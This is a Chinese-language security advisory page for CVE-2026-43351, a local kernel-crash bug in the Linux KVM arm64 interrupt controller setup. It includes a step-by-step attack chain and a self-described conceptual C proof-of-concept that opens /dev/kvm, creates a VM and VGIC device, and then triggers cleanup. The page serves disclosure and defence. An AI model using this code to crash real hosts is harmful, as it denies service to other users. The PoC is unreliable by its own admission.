IPBUF安全漏洞报告
English
CVE-2026-43351 CVSS 5.5 中危

CVE-2026-43351 Linux内核KVM内存损坏漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43351
漏洞类型
内存损坏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelKVMARM64DoSMemory CorruptionCVE-2026-43351

漏洞概述

Linux内核KVM arm64组件存在一处内存损坏漏洞。问题出在VGIC(虚拟通用中断控制器)创建过程中。当`vgic_allocate_private_irqs_locked`函数分配失败时,会导致`dist->rd_regions`结构体未初始化。随后的销毁流程`kvm_vgic_dist_destroy`会错误地访问该未初始化区域,导致内核崩溃及拒绝服务。攻击者需具备本地低权限即可利用此漏洞。

技术细节

该漏洞影响Linux内核的KVM ARM64虚拟化架构。漏洞的根本原因在于错误处理路径不完整。在`kvm_vgic_create`函数中,系统尝试分配私有IRQ。如果这一步失败,函数会立即返回错误,而未执行对`dist->rd_regions`(重分发区域)的初始化。然而,当虚拟机销毁或VGIC清理逻辑被触发时,`kvm_vgic_dist_destroy`函数会被调用。该函数假定`rd_regions`已被正确初始化,并尝试遍历释放相关内存。由于指针未初始化,这导致了空指针解引用或释放无效内存,最终引发内核恐慌(Kernel Panic)。虽然CVSS评分显示机密性无影响,但此漏洞主要威胁系统的可用性(A:H)。

攻击链分析

STEP 1
步骤1
攻击者获得本地系统的低权限用户访问。
STEP 2
步骤2
攻击者调用KVM API创建一个虚拟机(VM)。
STEP 3
步骤3
攻击者尝试在VM中创建VGIC设备,触发内部资源分配失败路径。
STEP 4
步骤4
系统尝试清理未完全初始化的资源,访问未初始化的内存指针。
STEP 5
步骤5
触发内核崩溃,导致系统拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43351 (Conceptual) * Triggering the uninitialized memory access in KVM arm64 VGIC. */ #include <linux/kvm.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdio.h> int main() { int kvm_fd, vm_fd; struct kvm_device device; // 1. Open the KVM device kvm_fd = open("/dev/kvm", O_RDWR); if (kvm_fd < 0) { perror("open /dev/kvm"); return 1; } // 2. Create a VM vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0); if (vm_fd < 0) { perror("KVM_CREATE_VM"); close(kvm_fd); return 1; } // 3. Attempt to create the VGIC device // Note: To reliably trigger the bug, specific memory pressure or internal // conditions might be required to make vgic_allocate_private_irqs_locked fail. device.type = KVM_DEV_TYPE_ARM_VGIC_V3; device.fd = 0; device.flags = 0; // This calls kvm_vgic_create. If it fails partially, // dist->rd_regions remains uninitialized. if (ioctl(vm_fd, KVM_CREATE_DEVICE, &device) < 0) { perror("KVM_CREATE_DEVICE (VGIC)"); // 4. Closing the VM triggers kvm_vgic_dist_destroy // which accesses the uninitialized rd_regions -> Crash/Kernel Panic } // Cleanup (Triggering the vulnerable path if creation failed) close(vm_fd); close(kvm_fd); return 0; }

影响范围

Linux Kernel (修复提交 a24f1d8... 之前的版本)

防御指南

临时缓解措施
如果无法立即升级内核,建议限制非管理员用户对KVM子系统(/dev/kvm)的访问权限,以防止潜在的本地拒绝服务攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表